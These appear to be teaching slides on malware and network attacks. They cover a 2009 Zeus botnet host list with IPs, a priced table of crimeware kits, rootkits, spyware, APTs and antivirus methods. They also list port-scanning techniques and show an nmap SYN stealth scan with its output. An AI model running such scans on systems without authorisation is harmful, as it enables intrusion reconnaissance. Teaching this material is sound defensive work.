Set a filter for the list below: [online Zeus hosts](#) | [offline Zeus hosts](#) | [Zeus hosts with files online](#) | [all](#)

[Subscribe this list via RSS feed](#)

host	dateadded (UTC)	Level	status	files online	A record	SBL	country	AS number
baycreekhosting.com	2009-11-16 17:21:39	2	online	0	70.87.94.162	Not listed	US	21844
suoerdeuerf44.com	2009-11-16 10:37:57	4	online	2	80.91.191.156	Not listed	RU	21219
cryaboutmeasure.su	2009-11-16 09:22:02	4	online	3	61.156.242.119	Not listed	RU	4837
taipeifubonban.info	2009-11-15 17:07:39	4	online	1	66.118.146.84	Not listed	US	21840
avisuallandscaping.com	2009-11-15 15:20:36	4	online	0	67.220.197.3	Not listed	US	18450
jamesharbour.net	2009-11-15 12:17:41	4	online	0	74.200.69.226	Not listed	US	14383
newroup.com	2009-11-15 11:21:54	4	online	3	210.51.166.222	Not listed	RU	9929
ato5enna.it	2009-11-15 11:16:06	2	online	2	195.130.247.71	Not listed	IT	8612
asiadomens.su	2009-11-15 11:14:31	4	online	1	222.35.142.60	Not listed	RU	9394
redrighthand.cn	2009-11-15 11:06:46	4	online	0	83.133.113.14	Not listed	RU	13237
echobravo.zapto.org	2009-11-15 10:59:50	4	online	0	91.121.95.129	Not listed	FR	16276
ukcallcentercareers.com	2009-11-15 09:20:48	4	online	1	61.188.87.138	Not listed	RU	4134
cacallcentercareers.com	2009-11-15 09:20:34	4	online	1	61.188.87.138	Not listed	RU	4134
pxcallcentercareers.com	2009-11-15 09:20:24	4	online	2	61.188.87.138	Not listed	RU	4134
crferari.info	2009-11-15 08:58:15	4	online	1	124.217.229.32	Not listed	RU	45839
zvonesrv.cn	2009-11-15 08:53:59	4	online	5	210.51.166.214	Not listed	RU	9929
autosaver.info	2009-11-15 08:52:42	4	online	1	193.104.22.90	Not listed	RU	34305
193.104.22.90	2009-11-15 08:52:05	4	online	3	193.104.22.90	Not listed	RU	34305
rottenairlines.com	2009-11-15 08:43:25	2	online	0	80.251.16.2	Not listed	US	32475
grefprostat.info	2009-11-14 15:59:56	4	online	1	193.104.94.2	Not listed	RU	50033
powmagazine.se	2009-11-14 12:04:21	4	online	0	195.47.247.177	Not listed	RU	16245
213.163.91.237	2009-11-13 17:19:55	4	online	3	213.163.91.237	Not listed	RU	49544

Find: ☐ Match case

Done

Profile1 203.218.195.22 Proxy: None 87.106.254.198

The Marketplace

Crimeware (Author)	Description	Pricing
FirePack (Diel)	Web Exploitation Malware Kit Note: a Chinese version exists	\$3000 (February 2008) \$300 (April 2007)
Zupacha, Zeus and ZUnker (\$ash)	The ZeusTrojan is able to inject code into login webpage of financial organization to ask personal data and divert them to a remote location. Zupacha is a bot element, and Zunker a C&C.	\$1000 for Zupacha, \$2000 for Zunker (January 2008)
Adrenaline, an update of Nuclear Grabber (Corpse)	Universal kit for creating tools to capture targeted banking data. Able to intercept and retransmit authentic transactions on the fly between the bank and its client.	\$3000
PolySploit, an update of NeoSploit (Grabarz)	Web Exploitation Malware Kit, statistical engine, enhanced configuration capability, exploitation package, enhanced support and online forum for customers.	100 €
El fiesta	Web Based and PDF-Exploit Pack used to launch attacks and monitor them.	\$850 (December 2008)
Turkojan RAT (AlienSoftware)	A Remote Access Tool made in Turkey.	Bronze edition: \$99 (July 2008) Silver edition: \$179 Gold edition: \$249
ZoPack	Web Based PDF-Exploit Pack used to launch attacks and monitor them.	

Source: McAfee Avert Labs

Rootkits

Many rootkits are trojan horses that replace system files, modules, functions by the attacker's code

Very dangerous

- You can't trust your ls, dir, or any commands or programs you run in a system

Numerous rootkits available for Unix, a few for windows. Check

- <http://packetstormsecurity.org/>
- <http://www.rootkit.com>

Spyware

Software or other technology that aids in gathering information about a person or organization without their knowledge


Usually attack through Internet Explorer

Spyware

Types of Spyware

- Adware
- Browser Hijacker
- Browser Plugin
- Bundled Software
- Commercial Keylogger
- Commercial Network Management Tool
- Dialer
- Generic Malware
- Remote Administration Tool
- Software Application
- Trojan
- Virus
- Worm

Spyware



The Modern Malware



Designed for financial gain

As a covert channel to collect information

As a tool that brings great economic income

A big change in 2008-2009

- Crimeware toolkits are targeting to banks customers
- CaaS – Crimeware as a service


The Malware Story

In the past

- Mischief
- One man show
- Targeted on protocols
- Targeted on the OS

Now?

- From curiosity to financial gain
- A complete business process
- Targeted to application
- Ring3: API hooking
- Ring0: SSDT hooking
- Development becomes more easier because of modulation




```
80549347 6888d885f8 push offset RioDrvs+0x888 (f885d888)
8054934c c3          ret
8054934d 6814d985f8 push offset RioDrvs+0x914 (f885d914)
```


Malware is an living organism

To Survive

- Self-started (Trinity dependency)
 - Infect the file system and start up a process
 - Configure itself
 - Ensure start up next time by set up auto run
- Self-restore and deletion prevention mechanism
 - Keep hidden
 - from the shell (Windows Explorer)
 - From the process list (Task Manager or Process Explorer)
 - Keep stealthy
 - No obvious abnormal activities
 - Collecting and transmission of privacy information through covert channel
 - The running process create a handle on the file to protect for deletion
 - Keeps a heart beat to rewrite the files and registry information by another or multiple processes
 - Self restoration capability
- Malware obfuscation technique: polymorphism, metamorphic and software armoring
- Need stability of the host system to survive



<https://blog.mozilla.org/security/2014/10/14/the-poodle-attack-and-the-end-of-ssl-3-0/>

Malware is a convert channel to collect privacy information

Identity theft

- Stealing online passwords
- Email account
- PIN or SIN
- Game account

Theft of intellectual property

- Customer data
- Technology
- Trade secret and other proprietary information

Stealing of financial information by keylogger

- collect credit card information
- To authorize online purchases

Unauthorized access

- Computing power
- Use of storage space
- Become part of the botnet




How traditional antivirus works

Traditional anti-virus used pattern-based scanning. The technique involves comparing the content (binary content) against the known virus pattern. Techniques including:

- Signature scanning
- Heuristic scanning
- Integrity checking
- Activity blocking

Latest attack methods through Web



How APT works?

Advanced Persistent Threat (APT)

- Process through sophisticated techniques using malware to exploit vulnerabilities in systems
- Executed through command and control (C&C) system. Continuously monitor and extract data from specific target




https://en.wikipedia.org/wiki/Advanced_persistent_threat

Digital Immune System

The digital immune system is a comprehensive approach to virus protection developed by IBM [KEPH97a, KEPH97b, WHIT99] and subsequently refined by Symantec [SYMA01]

The system

- Gathers data from large number of host-based and perimeter sensors
- Relays intelligence to a central analysis system
- Then return updated signatures and behavior patterns




From Computer Security Principles and Practice

Network Attacks: How to perform Network Attacks

HACKER, HOW THEY ATTACK THEIR TARGET?

System and Network Attack



Hacking into Systems

Collect information about the machine

Collect user name

Collect open resources

Collect passwords


Network scanning

Port Scanning


Different types of Scanning

- Standard scanning methods
 - Vanilla connect scanning
 - Half-open SYN flag scanning
- Stealth TCP scanning methods
 - Inverse TCP flag scanning
 - ACK flag probe scanning
 - TCP fragmentation scanning
- Third-party and spoofed TCP scanning methods
 - FTP bounce scanning
 - Proxy bounce scanning
 - Sniffer-based spoofed scanning
 - IP ID header scanning

Port Scanning – using SuperScan



Port Scanning – using Nmap




The screenshot shows a terminal window titled "Kali-Linux-2.0.0-vm-amd64" with a menu bar (Applications, Places, Terminal) and a status bar (Sun 16:39). The terminal prompt is "root@kali: ~". The command entered is "nmap -bA -sS -vv 192.168.1.127". The output shows the Nmap 6.49BETA4 version, loaded scripts, and the results of a SYN Stealth Scan on 192.168.1.127, including a discovered open port 3260/tcp.

```
root@kali:~# nmap -bA -sS -vv 192.168.1.127

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-09-13 16:38 CST
NSE: Loaded 122 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 16:38
Completed NSE at 16:38, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 16:38
Completed NSE at 16:38, 0.00s elapsed
Initiating Ping Scan at 16:38
Scanning 192.168.1.127 [4 ports]
Completed Ping Scan at 16:38, 0.20s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 16:38
Completed Parallel DNS resolution of 1 host. at 16:38, 0.01s elapsed
Initiating System CNAME DNS resolution of 1 host. at 16:38
Completed System CNAME DNS resolution of 1 host. at 16:38, 0.01s elapsed
Initiating SYN Stealth Scan at 16:38
Scanning 192.168.1.127 [1000 ports]
Discovered open port 3260/tcp on 192.168.1.127
Completed SYN Stealth Scan at 16:38, 2.30s elapsed (1000 total ports)
Initiating Service scan at 16:38
Scanning 1 service on 192.168.1.127
Stats: 0:00:16 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 0.00% done
```

Vulnerability Scanning – using Tenable Nessus



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Reference Books

Related content	Book	Chapter
W3: Network Attack	Cryptography and Network Security (2011)	Chapter 20: Intruders
W3: Malware	Cryptography and Network Security (2011)	Chapter 21: Malicious Software
W3: Network vulnerabilities	Guide to Computer Network Security (2015)	Chapter 4: Introduction to Computer Network Vulnerabilities
W3: Malware and Virus	The InfoSec Handbook (2014)	Chapter 7: Malicious Software and Anti-Virus Software
W3: Malware	Computer Security Principles and Practice (2012)	Chapter 6: Malicious Software
W3: DoS	Computer Security Principles and Practice (2012)	Chapter 7: Denial-of-Service Attacks

Reference Books

Related content	Book	Chapter
W3: Malware and Virus	Computer Security Handbook (2014)	Chapter 16: Malicious Code
W3: DoS	Computer Security Handbook (2014)	Chapter 18: Denial-of-Service Attacks
W3:Spam, Phishing	Computer Security Handbook (2014)	Chapter 20: Spam, Phishing, and Trojans: Attacks meant to Fool
W3: Virus	Computer Security Handbook (2014)	Chapter 41: Antivirus Technology